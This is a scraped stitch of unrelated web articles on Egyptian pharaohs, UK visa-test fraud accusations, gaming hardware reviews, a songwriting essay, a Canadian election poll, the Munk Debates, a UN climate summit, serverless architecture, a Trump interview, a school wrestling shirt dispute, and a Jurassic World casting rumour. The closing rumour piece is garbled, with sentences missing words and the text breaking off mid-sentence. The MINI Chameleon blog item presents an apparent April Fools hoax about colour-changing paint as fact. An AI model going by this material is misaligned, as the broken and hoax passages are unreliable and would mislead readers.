mixture of reality and fiction that has always represented the most fascinating aspect of their civilisation. It is the reality of a very powerful and successful empire, but also the fiction of a display of power that goes well beyond that reality.Nicole Douek: All the other empires of the ancient world tried to emulate Egypt. From the Assyrians, to the Persians, the Greeks and the Romans, you always look back to the greatest empire of all - which is the empire of Egypt. Everybody wants to be like the Egyptian pharaohs.Narrator: Today millions still come to pay tribute to the pharaohs. Some 3,000 years later, Egypt's Golden Empire is still conquering the imagination of the world.ENDS Virtual Egypt - 360 degree panaromas of some of the key shooting locations Director's Diary - Account of the shoot in Egypt Credits - List of production and web site credits |
A week ago, a young Indian family got on a plane at Heathrow and left England. They had been accused of a crime they say they didn't commit, but they were not shown the evidence against them or allowed to respond to it. They were forced to pack up their belongings and leave the country, their savings spent and their life in tatters.
It happened just as they were starting a new chapter in their lives. Saiba Singh (not her real name) recently got a job in healthcare and gave birth to their first child. Things were just getting started. Then a letter came from the Home Office. It said she'd used fraud to pass the English language test required for a long-term visa to the UK. She was accused of going to a testing centre, meeting a fake exam sitter and then standing to one side while they completed the answers for her.
"The employer is terminating her with immediate effect," her husband told me, days before they left.
"It's very, very upsetting. We did everything legally. We didn't use any shortcuts, any dodgy things. We did everything clearly and legal. But still we are getting the problem with UKBA [the former immigration branch of the Home Office]. So we have to go back. All our saved money is used up. It's a big problem now."
None of it makes sense. Saiba had arrived in the UK in September 2010 and went to a university in Wales, where she got a 2:2 in business management. She hadn't even needed to sit the English language test. She already had a certificate showing she could speak English. She was advised by the university to get a second one to firm up her application. People often do that with visa applications – they stuff every bit of useful documentation they can into it, hoping to present a watertight case.
Why would someone who had good enough English to do a university degree use fraud to complete a language test she anyway had no need for?
There are thousands of others facing the same situation, asking similar questions. No evidence of their fraud has been put to them. Many have records of high scores in other English language tests.
But they cannot use these tests to defend themselves because they have been refused their day in court. Instead, there is an early morning knock on the door from the immigration officers.
Applicants for visas tend to include as much material as possible to try to make their case watertight
"They're picking them up and taking them to detention centres with only the clothes they're wearing," Urvi Shah of Vision Solicitors, who is representing several of the students, says.
"They come anytime between 4am and 8am, in a group of 18 to 20 people. It's about three vehicles full of the immigration officers.
"My client was crying on the phone. When they take the warrant to the magistrate, do they tell them a group of 20 people will go pick up a student who is not a threat? A student who is being treated like weapons have been found at his house?
"One of my clients was part of a couple. I had to get them out the detention centre. The husband was put in one place and the wife in another. They said male and female must be put in different places."
Many of those accused of using fraud are taken to detention centres before removal
Arif Rehman of Mayfair Solicitors says they’ve come across hundreds of people accused of the same crime.
"If you are making such a serious allegation against someone, you should put that allegation to him and give him an opportunity to say something in his defence before you take the draconian decision to remove him," he says.
But that is not happening. Immigration has cast a shadow over the legal standards of British public life. It is the dark zone, where no-one cares how the state behaves. Reporters do not cover it and politicians do not care about it.
The story of the fraudulent English language tests starts with a Panorama report last February. They sent someone in undercover to an immigration consultancy in west London.
According to the BBC, they charged £500 for a "guaranteed pass". The undercover journalist was then sent to a college in east London college for the exam. There they found a 'fake sitter' who sat the test for them. Days later, the student returned to be given a TOEIC (Test of English for International Communication) exam certificate.
The Home Office was quick to respond. Home secretary Theresa May went on Radio 4 and said she was "grateful to Panorama for the work they have done in showing this abuse".
The Panorama report seemed to show a well-established fraud operation operating in the immigration consultancy and the college. But somewhere along the line that expanded to cover tens of thousands of people who had never been near either. Suddenly, many others who sat the TOIEC exam – in different test centres across the country - were being accused of fraud.
The suspicion among lawyers is that the Home Office had found an excuse to hammer down the immigration numbers, picking on overwhelmingly young students and freshly-arrived workers. Many of the people being sent home have excellent English. They have degrees from decent universities. They have jobs where they speak English every day.
Why would they take the risk of using a proxy in an English language test? One has even offered to take an English test in front of Home Office officials and leave voluntarily if his score is lower than the original one on the TOIEC exam.
Continued... |
Alienware Steam Machine Introduction
Dell's Alienware Steam Machine is under the microscope today. In partnership with several leading PC makers, Valve has finally taken their often-talked about Steam Machine with custom SteamOS to market, promising the depth and precision of PC gaming driven by a purpose-built operating system, that offers a standardized platform similar to a tried and true "just push play" console gaming experience.The Alienware Steam Machine seems like just the thing for PC gamers looking for a simpler way to game without a lot of fuss and configuration. What’s a Steam Machine, you ask? The Steam Machine is a PC-based set top box that functions as a dedicated portal into the Steam digital marketplace, where players can download or stream games and media just as you would using Steam on your desktop PC.
Historically, software has been Valve's bread and butter. Rumblings of the company’s hardware aspirations began in 2012 with the launch of the Linux-supported version of Steam, followed by Steam Big Picture. The latter introduced a brand new controller and TV-friendly UI to the Steam platform on the PC, incorporating enlarged icons and a more Spartan look, very similar to Xbox Live at the time. It was a virtual testbed for what would become the user interface used in today’s Steam Machines. Moreover, Valve’s continued work on Steam for Linux birthed the SteamOS, the Linux-based operating system powering all currently available Steam Machines. Finally, the company created its own unique Steam controller and the Steam Link technology, which streams (via WiFi) PC games from an existing Steam account to a second screen, like a big screen HDTV. Each is sold separately for those uninterested in a full Steam Machine. However, the full Alienware Steam Machine we have today comes packaged with a single Steam Controller, and because the machine runs the Steam client, in-home streaming from other machines on the network running Steam is also possible.
The system was built from the ground up to be more suited for HDTVs and living rooms, than the sometimes stuffy and cramped desk spaces familiar to PC gamers. Alienware's Steam Machine saunters in to offer--quite possibly--the best of both gaming worlds; gameplay depth and complexity beyond conventional console standards made possible using a somewhat-standardized hardware platform (configurations may very) for prosaic ease-of use compared to PC gaming proper. Sounds like a gamer’s land of milk and honey, but is it?Before we get into the nuts and bolts, let’s see what’s inside... |
Introduction
120Hz panels are definitely still market newcomers - in fact, look no further than Newegg, where there still isn’t a 120Hz category, much less a refresh rate field for drilling down products. The necessity for 120Hz panels arose entirely out of the ongoing 3D obsession across the entire consumer electronics segment, something that remains a difficult sell for many gamers. On a technical level, the necessity for 120Hz arises from the need to drive two discrete 60Hz images - one 60Hz image for each eye. In its current incarnation, consumer 3D technology relies primarily on active shutter glasses - parallax barrier 3D displays are still too expensive, and I’ve yet to see passive polarization methods used outside the movie theatre. But you probably already know most of the 3D story.
Though the 120Hz refresh frequency does make games playable in 3D, there’s another important benefit of using a faster refresh rate - everything looks smoother, and you can now drive up to 120 FPS without tearing. The ASUS VG236H was my first exposure to 120Hz refresh displays that aren’t CRTs, and the difference is about as subtle as a dump truck driving through your living room. I spent the first half hour seriously just dragging windows back and forth across the desktop - from a 120Hz display to a 60Hz, stunned at how smooth and different 120Hz was. Yeah, it’s that different.
If you’re the kind of person that cares about squeezing every last FPS out of your box - regardless of how you feel about 3D - don’t even bother reading the rest of this review, just run, don’t walk, to the store and get this 120Hz display. I’m serious.
ASUS’ VG236H isn’t perfect, like any product there are a few caveats. That aside, honestly, the completely unparalleled level of smoothness on a 120 Hz display has made me hyper attuned to just how flickery 60Hz looks on all the other LCDs I’ve got.
Oh and my initial skepticism about 3D? I’m still shocked about it, but I've completely changed my mind.
Let’s dive into this review. |
Be it music, blog posts, novels or scribbles in your notebook, feel utterly fearless of forgetting.
The creative process is organic and without agency, the disruptive friction eroding your inertia is almost always covered in your fingerprints. As you turn your piece of art this way and that, smudging your originality with the corrupted lens of conscious thought, you add water to your whiskey.
Our vast sea of influences, the endless array of the beautiful and the mundane which so effortlessly surrounds us, is without the fatal flaw of narcissism. It exists, and it colors our lives with everything meaningful. To express outwards without absorbing inwards, that is the death of the relatable and a just a shadow of what creative expression can be.
I strum the guitar and feel the movement of the people on the street. The bikes and the birds move with an eerily familiar grace, the Wisteria flowers blossom with a subtle yet engrossing aroma of Spring. I express it briefly, just for a split second, and slide down the slippery slope of seeing what is without the blinding subjectivity of my perspective.
The notes couple, entangling and disentangling like some invisible ballet. The audio is a mirror for the moment I am experiencing, a sounding board for the stimuli around me. It is not ‘my music’, but a reflection of the melodies around it. I color it only slightly with whatever internal dialogue I’ve pushed to subconscious corners of my mind. I participate in the moment, rather than try to capture it.
Some unmeasured span of time later I awake, and find my fingers fumbling. Where did it go? That song, that perfectly framed instant in time, that pure expression of the world around me is falling headfirst into an expression of how I feel. I have fallen outside of what is, I have bunkered myself back into individuality.
The song is lost. I know I’ll never find it again, and a deep sadness wells up inside me, like a close friend has just turned her back on me forever.
I wander restlessly around the fretboard, playing the same notes but lacking the context and perspective that brought them all together. The melody loses oxygen and fades, the subtle harmonies forget their places, the grace notes wonder vaguely at their namesake. Time passes, and washes away the preceding moments.
In pretending I own the song I had just written, I fall under the false pretense that it should be at my beck and call. My subjective ego feels inclined to turn the moment I captured into some pet I can ask to do tricks for me later. It doesn’t really work like that. Oddly enough, once you set the song free you may just find it comes back to you later.
Songs are moments frozen in time, just like photos, just like the perfect phrasing to simplify that complex idea. When it comes to writing, be wasteful. When we mourn the loss of the moment, we only waste another. |
WATCH: Stephen Harper is claiming credit for a $5-billion surplus in the first quarter, but the other parties — and many Canadians — are casting a doubtful eye. Jacques Bourbeau reports.
Tom Mulcair is now the leader seen as the best choice for Prime Minister of Canada over current PM Stephen Harper, according to a new Ipsos poll conducted on behalf of Global News.
The poll, released Friday, suggests 37 per cent of the 1,000 Canadians surveyed online think the NDP leader is the best choice for prime minister.
And 40 per cent think Mulcair would run the most “open, responsible, and ethical” government. Ipsos last asked the Canadian public that question in April, and since then, Mulcair has switched places with Harper. Thirty-eight per cent thought Harper would make the best prime minister in April, and 27 per cent thought he was the most open.
“Mr. Mulcair has won on both of these points. Here’s a guy who really hasn’t been involved in the debate so far, the debate primarily has between Mike Duffy’s trial and the prime minister,” John Wright, senior vice president of Ipsos said in an interview Friday.
READ MORE: Here’s what the leaders have promised in exchange for your vote
Liberal leader Justin Trudeau is seen as the second best choice for prime minister with 32 per cent. Harper ranks third with just 31 per cent of respondents claiming he would be the best choice.
Friday’s Ipsos polls comes 24 hours after another Ipsos poll showed a tight race across Canada, with Mulcair’s NDP edging out a small lead.
Infographic by Janet Cordahi
READ MORE: Public servant put on leave after releasing anti-Harper folk song
A significant portion of the questions levied at Harper during the first three weeks of the campaign have concerned the fraud trial of Senator Mike Duffy and the secret repayment of $90,000.
And at least a portion of the voting public has taken a serious interest in the Duffy trial. While 68 per cent of respondents told Ipsos the Duffy trial hasn’t changed the party they plan to vote for, 32 per cent said the opposite – they have been impacted.
“The Duffy trial has hurt the Conservatives,” Wright said. “Some people who were voting for the Conservatives at the moment have switched their vote.”
But with the trial going on a break until November, will the lingering questions about what Harper knew of the Duffy affair still weigh on the conscience of voters come Oct. 19? It’s hard to say, Wright said, but suggested voters will likely cast their ballot based on something other than character issues.
A poll conducted by Ipsos in the weeks prior to the election getting underway suggested the majority of Canadian voters were most concerned with pocketbook issues. Senate reform ranked far down the list.
And the trial’s hiatus allows the election campaign to enter its next chapter. Wright says he expects to see a markedly different campaign moving forward.
In-Depth: Federal Election 2015
“I suspect over the next 14 days, there’ll be a different climate change, we’ll move into getting the kids back to school, out of the summer, and then the advertising and the real campaign will begin.”
“Already we’re starting to see the wheels turn towards deficit, towards economy, and surplus, the economic discussion,” Wright said.
And the campaign could move west, Wright said, suggesting British Columbia could be the “wild card” in determining which party forms the next government. Right now, all three parties have a chance of taking much of the province.
Exclusive Global News Ipsos polls are protected by copyright. The information and/or data may only be rebroadcast or republished with full and proper credit and attribution to “Global News Ipsos.” This poll was conducted between August 24 and August 26, with a sample of 1,000 Canadians from Ipsos’ online panel and is accurate to within 3.5 percentage points 19 times out of 20.
Below are the full tables from Ipsos: |
‘So now that women don’t need men to reproduce and refinance, the question is, will we keep you around? And the answer is, ‘You know we need you in the way we need ice cream — you’ll be more ornamental.’ ’
When Caitlin Moran scans the faces of 2,700-some attendees at the Munk Debates Friday Nov. 15, what will she see?
Will she be as tart and engaging (and fantastically profane) as her writing?
Will she observe a surfeit of women of a certain age who, as she once wrote, sport tight, shiny foreheads and lips that, illogically, puff upward and outward and whose eyes appear to have been pinned wide open “as if they were in Harley Street and have just been given the final bill for it all”?
As none of the four debaters is Canadian, it might be helpful to contextualize the local scene, give them some advance tips, as it were:
The thesis of the Munk resolution can be distilled thusly: Women are “fast emerging” as the “more successful sex of the species.”
(Dowd ends the book by posing that very question, which seems a cheap and unsatisfying trick.)
Arguing for the resolution will be Hanna Rosin, Atlantic magazine editor and author of, helpfully, The End of Men . Helping Rosin along will be crackerjack New York Times columnist Maureen Dowd, who has also written about men in her less conclusive Are Men Necessary?
Moran, a columnist with the Times of London, will be appearing alongside the Amazonian Camille Paglia arguing against the stunt line resolution: Be it resolved, men are obsolete.
It’s not for me to say how many Barrick directors are of the good-ol’-boy ilk (read, toadies). But I will say that even the argument that “resources” companies are more naturally the purview of men can’t explain why the Barrick board remains, in situ, in the Eighties. (Newmont, the world’s second largest gold company after Barrick, has a 10-person board; three are women.)
The semiannual Munk Debates are an initiative of the Aurea Foundation, founded by gold baron Peter Munk and his wife, Melanie. So here’s a consideration: The board of Munk’s Barrick Gold Corp. is constituted of 13 directors. Twelve are men. A lone woman, economist Dambisa Moyo, joined the board in 2011. The year prior, the board’s 14 slots, each and every one, were taken by men.
The debaters need to know this, specifically and broadly. A report last March from the economics group at the Toronto-Dominion Bank came up with this stat: “nearly three-quarters of the corporations on the S&P/TSX Composite Index either do not have a single woman on their board or just one female member.” Forty-three per cent have no women at all. Not one.
You see, this is the issue. As soon as one starts to peel the onion on the thesis, it gets all statistic-y, as Moran might say. All data-set-y.
Will Rosin, an American, return to her 2010 Atlantic essay in which she crowed that women now hold a majority of U.S. jobs? (The resulting End of Men book is just out in paperback.)
The Canadian view: Two decades ago, women in this country represented 40 per cent of workers with full-time employment. Last year it was 43 per cent, slightly below where we were in 2007.
So it’s less of a fast emergence and more of a slow ascent to, hmm, here’s a thought, equality. Dowd reflected upon this in her book. Perhaps bonobos, also known as gracile chimpanzees, could serve as a societal role model, she posited, for the females exhibit a “light” (read sexual) dominance “so that it is more like a co-dominance, or equality between the sexes.”
Not the end of men. But that lovely word, egalitarianism.
Gracile, by the way, means shapely. How lovely is that?
Humanwise, where are we seeing seismic action? Rosin reports that in the U.S. three women earn a Bachelor of Arts degree for every two men. In Ontario in 2001, women were awarded 59 per cent of all degrees. A decade later, women were awarded 60 per cent of all degrees. The awarding of bachelors to women also rose a single percent across a 10-year span, to 61 per cent. Masters degrees, however, rose by a relatively plump 4 per cent to 55.7.
Not quite enough to start yelling: “It’s over for you men!”
Engineering remains predominantly male: more than three to one at the bachelor’s level. Social science remains predominantly female, at two to one.
At the University of Toronto, women broke above the 20 per cent mark in engineering degrees awarded at a bachelor’s level — in 1995. Last year, women took 23.6 per cent of bachelor’s degrees in engineering. So less revolution and more evolution.
At York University’s Schulich School of Business, 36 per cent of total enrollment last year was made up of women. A decade earlier, in 2001, that number stood at 39 per cent.
In The End of Men, Rosin does give a nod toward some unassailable facts. “Yes, the United States and many other countries still have a gender wage gap. Yes, women still do most of the child care. And yes, the upper reaches of power are still dominated by men,” she writes. “But given the sheer velocity of the economic and other forces at work, these circumstances are much more likely the last artifacts of a vanishing age than a permanent configuration.”
In other words, see the big picture, feel the momentum, don’t get mucked up by data plucked in a “selective sort of way that elides other truths.”
True, a packed audience at Roy Thomson Hall isn’t likely to experience the rapture if the speakers get bogged down in percentages and demographic anomalies and part-time versus full-time work and social inequality and whether by “workforce” we really don’t mean “labour force.” Etcetera.
Much more entertaining to draw generalized conclusions, as Rosin does when she asserts that “feminist progress is largely dependent on hook-up culture.”
Today, Tinder. Tomorrow, the CEO’s job?
One thinks not. (Dear editor: Tinder is a hook-up app.)
Perhaps there will be a science-y side to the debate. Sperm selection. Girls over boys. I note the blurb for Maureen Dowd on the Munk website: “So now that women don’t need men to reproduce and refinance, the question is, will we keep you around?” Dowd asks. “And the answer is, ‘You know we need you in the way we need ice cream — you’ll be more ornamental.’ ”
This is confusing as ice cream is, of course, one of the primary food groups. And if you try to deal with ice cream in an ornamental way, you are bound to be disappointed by the outcome.
The “F” word is bound to come up. In her best-selling How to be a Woman, Moran offers perhaps the most trenchant tip for women who may be confused as to whether the feminist label applies to them.
“Put your hand in your underpants. a. Do you have a vagina? B. Do you want to be in charge of it? If you said ‘yes’ to both, then congratulations! You’re a feminist.”
Two weeks ago, in her column for the Times, Moran pondered the big question: how will women know when they have become equal to men?
Point one: wage parity.
On that point, can we compare the speaking fee that Morin will draw as against her Brit compatriot, Tony Blair, who argued, unsuccessfully as it turns out, that religion is a force of good in the world? (Christopher Hitchens won that smackdown.) Or what sum Rosin will draw for her appearance as measured beside, say, Henry Kissinger, who argued against the proposition that the 21st century will belong to China? (Kissinger and the cons won big that night.)
Munk Debates moderator Rudyard Griffiths says speaking fees are not disclosed. He then delightfully volunteers that Blair and Kissinger were “an example of the more avarice end of the speaking spectrum.”
But, still, are the women catching up? Are their speaking fees feeling the velocity? We can’t know.
Number two on Moran’s list is to see an equal number of female CEOs on the Forbes 100 list. “Current score: 2. Out of 100.”
Number four is the very reasonable assertion that women should be able to “eat a sausage for breakfast when they fancy it, without feeling badly about it and banging on about it for the rest of the day.”
(Moran has also pondered this question: Why is it that when men screw up, they screw up? When women screw up, it’s a cultural signifier.)
This may seem terribly confusing, because if women are not, yet, equal to them, how can men be obsolete?
Perhaps this is what pre-debate voters are thinking when they go to the Munk Debates website to vote against the resolution, thereby throwing their weight behind Moran and Paglia.
This is a case of be careful what you wish for. The winning team is the team that moves the public opinion needle the most. At last check, the cons were screaming ahead at 76 per cent, with the pros at 17 per cent and the rest undecided. It may be, as Griffiths suggests, that Dowd and Rosin will only have to peel a percent or two of support from Paglia and Moran to be declared the victor. To appropriate a Dowd end-of-men phrase: “They’re doomed, poor darlings.”
Did I mention that tickets sold out in 48 hours? Only the Hitchens-Blair matchup was a faster sell. (The debate is streamed live online.) Response has been so enthusiastic, organizers have teed up authors Christina Hoff Sommers and Stephanie Coontz for a post-debate online town hall.
It was Coontz who took Rosin and her brethren to task in the New York Times in September 2012, arguing that End of Men and other treatises like it “reflect, but exaggerate, a transformation in the distribution of power over the past half-century.” On the question of wages, Coontz offered this: “What we are seeing is a convergence of economic fortunes, not female ascendance.”
That sounds about right.
And should it come to pass, what will distinguish the men from the women?
I think Moran might say, “Botox.”
How odd she finds it that just as women push through to their 30s and beyond, when their faces and figures display the signs of entering the “zone of kick-ass eminence and intolerance of dullards,” they go on to erase those very same signs. Thus, she concludes, giving the impression “that, actually, you are still a bit gullible and incompetent, and totally open to being screwed over by someone a bit cleverer and older than you.”
As Moran gazes upon the crowd, Friday night next, she may well wonder who in the crowd is saddened by the debate’s outcome.
Only one question remains: Will she be able to tell? |
UNITED NATIONS (Reuters) - A United Nations summit on climate change agreed on Tuesday to widen the use of renewable energy and raise billions of dollars in aid for developing countries in an effort to increase the prospects for a wide-ranging deal to slow global warming.
U.N. Secretary General Ban Ki-moon speaks during the Climate Summit at the U.N. headquarters in New York, September 23, 2014. REUTERS/Lucas Jackson
The one-day summit, hosted by U.N. Secretary-General Ban Ki-moon, set goals to halt losses of tropical forests by 2030, improve food production and hike the share of electric vehicles in cities to 30 percent of new vehicle sales by 2030.
The non-binding initiatives were set by various coalitions of governments, multinational companies, cities, financial groups, investors, environmental organizations and other groups.
The targets are meant to help prepare a 200-nation summit in Paris in late 2015 to finalize a deal to slow rising greenhouse gas emissions. Until now, work has been slow with many countries more focused on improving economic growth and creating jobs.
Governments and investors said they would raise more than $200 billion in climate financing by the end of 2015, including $30 billion in green bonds by commercial banks and $100 billion from a group of development banks.
“This will serve as a catalyst in finalizing a universal and meaningful agreement at Paris on climate change in 2015,” Ban said of the cash.
The United Nations said in a statement that pledges of financial support would give a “significant boost” to a promise by rich nations in 2009 to raise $100 billion a year by 2020 from all sources to help poor countries shift to renewable energy and adapt to heatwaves, droughts and rising seas.
Separately, an alliance of about 30 countries including the United States and a coalition of multinational companies set a goal of halving losses of forests by 2020 and halting losses by 2030. If fully implemented, this would stave off between 4.5 billion and 8.8 billion tonnes of carbon dioxide emissions a year, equivalent to emissions by all the world’s one billion cars.
Trees soak up carbon dioxide from the air as they grow and release it when they die. Burning of forests from the Amazon to the Congo, mainly to make way for farmland, accounts for up to a fifth of all greenhouse gases generated by human sources.
Companies including Walmart, Unilever , Wilmar International, General Mills, Asia Pulp and Paper and Nestle, many non-governmental organizations and indigenous peoples’ groups signed up for the plan.
The declaration is backed by more than $1 billion from countries including Britain, Germany and Norway. Norway said it would provide up to $300 million to Peru and $150 million to Liberia.
“The actions agreed today will reduce poverty, enhance food security, improve the rule of law, secure the rights of indigenous peoples and benefit communities around the world,” Ban said.
Among initiatives to curb the use of fossil fuel, one project would raise the share of renewable energy used in power generation in 19 countries in eastern and southern Africa to 40 percent by 2030 from 10 percent.
Another alliance of major nations and energy groups including ENI of Italy and Southwestern Energy in the United States signed up to do more to curb emissions of methane, a powerful greenhouse gas.
Companies including McDonald’s and Kellogg committed to “climate-smart agriculture” to protect farmers from global warming and to improve crop yields to feed the world’s rising population. |
In our third post in a series on serverless architectures, we talk to long-time Snap CI customers Applauze about why they chose a serverless architecture to provide reliable, cost-efficient and stable architecture for their spiky, demand-driven traffic.
Let’s start with a definition. What does serverless architecture mean to you?
The way we look at it is that our architecture does not include servers: It is server -less. Kind of in the same way our architecture does not include electricity. Obviously, we use electricity but I don’t have to think about it. Like electricty, server-less architecture has become a commodity to me. It’s a service just like Heroku. With Heroku, I don’t think about the physical server itself, but I am running a server. Serverless architecture is the same but at a different level.
Why did you consider a serverless architecture?
There are three reasons why we considered a serverless architecture - performance, cost and stability.
Performance
We sell pre-sales tickets for musicians and bands and as a result, we have high, bursty traffic whenever tickets go on sale. These massive changes in demand mean that we can go from very few requests a second to thousands of requests a second very quickly. We need our architecture to be able to scale and support this traffic.
We had hit a performance limit with what we were doing. Caching helped in many cases, but on our biggest days it was insufficient to handle the full demand. We have a high degree of dynamic information (what tickets are available, views and clicks) and there are limits of what normal scaling we could do with our existing Rails on Heroku core systems’ database and Redis connection limits. By replacing the existing architecture and using AWS CloudFront with a simple 10-second cache, we got massive benefits.
Cost
The second reason we had an interest in serverless architectures was to get a more predictable and efficient cost structure. Due to the pay-as-you-go model of Lambda, S3 and CloudFront, we don’t have to worry about having services pre-scaled up to a certain point beforehand. We know that they will scale when we need them to, and we only pay for what we need.
Reliability
Finally, we needed to ensure that our system behaved well in case parts of the system failed. For example, we needed the tour information we show to artists and management to keep working regardless of how many tickets were being sold to fans via the checkout platform.
How did you get started?
We started by reading Serverless by Obie Fernandez and Serverless Single Page Apps by Ben Rady, then we took a look at the services Amazon had, and finally we spiked out a solution. We took a pragmatic approach aimed at solving a specific problem first.
From our performance characteristics, we identified that the biggest performance problem was listing a tour in an event list. All of our artists have a list of events: this list gets the most traffic because people are looking to see when and where an artist will be playing. Our artists insert this information on their website by using a JavaScript widget. Every time an affiliate site loads and shows the widget, our server gets hit by having to give them the content. In addition, the system that was selling orders was the same system that was serving out this event list, so we needed a way to throttle the event list without impacting the other parts of the system. We investigated caching the event list but then we lost important information about view-tracking that we needed to provide analytics to the artists’ management. Obviously caching is an important solution to investigate to improve the event list, but we also needed a way to handle the dynamic click-tracking information we needed.
We decided that this was our biggest problem. We took a week and did a quick spike to see if it was possible to have API Gateway pass click-tracking and view data directly into AWS Kinesis. And it worked really well! We learned that we needed to just cache in CloudFront for 10 seconds, and it made a huge difference. Now the worst case scenario is that we have all of the CloudFront nodes talking to our server at the same time, which is still a subset of the amount of traffic it was before.
How has event list performance improved after making these changes?
We were maxing out before at about a hundred requests a second but with Cloudfront, we can hit it at about 3,000 requests a second and there’s no impact. The main limitation became our ability to test it. When we couldn’t make requests any faster from our machine, we stopped testing.
How do you test the event list?
We wrote some Ruby tests that are part of our main build. The tests put a message up into our serverless infrastructure. The message goes through the API Gateway, through Kinesis, and then we make sure that once it’s gone through all that we can pull out the message in our Ruby backend.
What services are you using specifically and can you describe the architecture?
We use S3 for some static assets and Cloudfront. We are also using API Gateway and Kinesis. We don’t use Lambda for that at all. Our initial spike used Lambda to consume the data from Kinesis. When we implemented it, we realized it was just as easy in our core back-end server, to have a Ruby process that pulls off Kinesis.
What does the process of making changes and modifications to your code look like when your code gets split across multiple different Amazon services?
You need stable APIs and you have to be very cognizant of when you need to change an API. We try to be additive instead of subtractive. We can’t have the situation where we try to deploy two environments at exactly the same time. We have to, at the very least, lockstep it in one direction. Usually a change in the core system goes first, and the checkout system needs to follow and support both versions of the API. Occasionally we’ve had to do significant changes and we’ve been mostly doing API versioning.
What problems do you see with serverless architectures?
One of the biggest problems conceptually with serverless is there are a lot of moving parts. We needed to impose our own structure to have cohesion because it’s not provided. It’s easy to say, “anything running on this Heroku dyno is one unit”. That’s simple. Whereas when you have a situation where you have multiple Lambdas, that are interacting with Dynamo, which is interacting with SQS… it’s more complex. To tackle that problem, we’ve been reading Sam Newman’s microservices book, which has really been helping us get some structure around that.
We looked into serverless frameworks specifically to see if it would help with this. The biggest reason why we didn’t use it is that most of the frameworks that we saw were focused primarily on Lambda behind API Gateway. It’s something we’re sort of using, but serverless really doesn’t deal with Kinesis or the other services, and we needed to be able to manage the entirety of it.
What have you learned about the value of serverless architecture?
We realized our microservices could be implemented without the server or at least, the actual part that does the serving, could be much smaller.
Our goal for a lot of this was to outsource the load and the demand, and we’ve achieved that. These services have allowed us to focus on our domain and on writing the code for our application, and not be limited by worries about the infrastructure and the scaling. Stability is now taken care of by Amazon because that is what they do really well. They know how to do that, and we know our domain.
Thanks to Chris Turner and Ian Carvell from Applauze for sharing their serverless journey with us. In the next part of this interview, will we discuss how the Applauze team tackled their next serverless architecture challenge, and how they test and deploy their serverless architecture using tools like Snap CI.
This post was originally published on Snap CI's The Pipeline Blog. |
“BMW’s MINI division will debut its first color-morphing car in Singapore in June. Called the MINI Chameleon, the car changes color according to weather conditions.
For example, on a rainy day, the car’s paint brightens to improve visibility while on a sunny day, it lightens to reflect heat and cool down the vehicle.
The color-morphing technology was made possible due to a special treatment called FeintPaint by Spanish company Payola Forlids.
Cars treated with FeintPaint comprises tiny magnetic iron oxide particles which can interact with a low grade magnetic field to change the spacing of the particles, and hence its ability to reflect light and change color.
The color changes take effect in seconds, and should be quite a sight to behold! Unless of course, you’re the owner, and you’ve no idea where you last parked your car in a multi-story car park. ”
It’s about time someone did this! Wished this color technology could be applied to the interior leather as well…nothing like black leather during the winter, but oh my is it toasty to the touch in the summer! Would also be cool if the cars color changed as you sped up on the highway, from a cool blue to a hot red the faster you went.
via luxury insider
Like this: Like Loading...
Related |
President Trump said Tuesday that he has done "just about more than anybody" in his first four weeks in office.
"There are those that say I've done more than anybody in the first 100 days," Trump, who was sworn in on Jan. 20, said in an interview on "Fox and Friends."
"I've saved billions and billions of dollars," Trump continued, referencing his push to roll back government regulations while lauding his own effort to brink back auto manufacturers from abroad.
ADVERTISEMENT
Trump also mentioned his administration's ongoing work on repealing and replacing the Affordable Care Act and his subsequent plans to initiate tax reform for businesses and middle class Americans.
"There are those that are saying that I've done just about more than anybody. Now when you add our healthcare that is going to be coming out soon, and will be a really good healthcare as opposed to ObamaCare, which is a total mess, if you add the tax cuts we are going to be doing as soon as we finish healthcare ... I think that, you know I think I've done just about more than anybody in the first four weeks," Trump said.
Trump has signed a flurry of executive orders on policy issues during his first few weeks in the White House, but no major legislation has been rolled out, and there has been no movement on several of his campaign priorities, such as building a wall along the southern border.
Trump will be addressing a joint session of Congress for the first time as commander in chief on Tuesday evening. |
Hulk Hogan once said, “I fear no man, no beast or evil, brother.”
And the wrestlers at South High School in Parkersburg, W.Va. fear no atheist.
The teenage grapplers are staring down the Freedom From Religion Foundation, a Wisconsin-based atheist group outraged because the team wears t-shirts bearing a Bible verse.
“I can do all things through Him that strengthens me.” That’s the verse emblazoned across the back of the shirt. The motto was also posted on the team’s website. Until now.
“We asked them to take it down,” said Pat Law, the superintendent of the Wood County school district. “We have to follow the law – whatever that law might be. We’re going to be certain that everyone’s rights are being protected.
Law told me the team had been using the motto for at least 10 years without any complaint – until he received the letter from the FFRF. He said the group alleges the shirts violate the separation of church and state.
However, Bill Merriman, an attorney representing one of the wrestlers and his parents, told me the shirts are perfectly legal.
“It’s not part of the official uniform,” Merriman said. “If a student athlete doesn’t want to wear that shirt, they don’t have to. It’s not a requirement. It’s not part of the official uniform.”
Merriman said the shirts were paid for by parents of the wrestlers – and now those moms and dads are ready to piledrive somebody.
“They don’t understand how somebody can come along after all these years and say you can’t wear that,” he said. “It’s frustrating for the parents because they see a lot of other t-shirts being worn by students that are certainly not religious – but they are offensive. Nobody is saying they can’t wear those shirts.”
That’s a pretty good point.
For now, Supt. Law told me the kids can wear the shirts – provided they belong to the students.
“We do not and cannot infringe upon their freedom of religion – their ability to express that,” he said. However, the Bible verse has already been scrubbed from the wrestling team’s website.
Merriman said he is ready to file a lawsuit if the school district ultimately decides the shirts violate the law.
“The First Amendment swings both ways,” he told.
Indeed, it does. But try telling that to a militant atheist.
It’s really no surprise the boys had a Bible verses printed on their t-shirts. As we all learned in Sunday School, the relationship between God and grapplers predates Saturday morning wrestling.
There’s a great wrestling story in the Old Testament. Jacob went toe to toe with an angel. It was an honest-to-goodness no-holds-barred, steel cage match.
Now, I’m no theologian, but I suspect if old Jacob got in the squared circle with an angel – he’d be more than willing to tangle with an atheist. |
Idris Elba Rumored To Face Dinosaurs In Jurassic World By Nick Venable Random Article Blend
Jurassic World’s development” said Elba's name was in the running.
In addition, the website Jurassic World, calling for actors and crew in Louisiana, where the film will partially be filmed. Elba’s name is mentioned not just once, but twice, as being part of the cast. They even have “in talks” next to Brolin’s name, but Elba is listed as if it’s a no-brainer that he’s already signed on. Both Nick Robinson (Iron Man 3) are noted as well, though nothing is said of the previously rumored Jake Johnson (New Girl).
So is this just a mistake or what? I went and looked through the website for a few minutes and nothing was amiss with any of the other notices I read. And to really drive it home, Jurassic World is already on Elba’s filmography list on
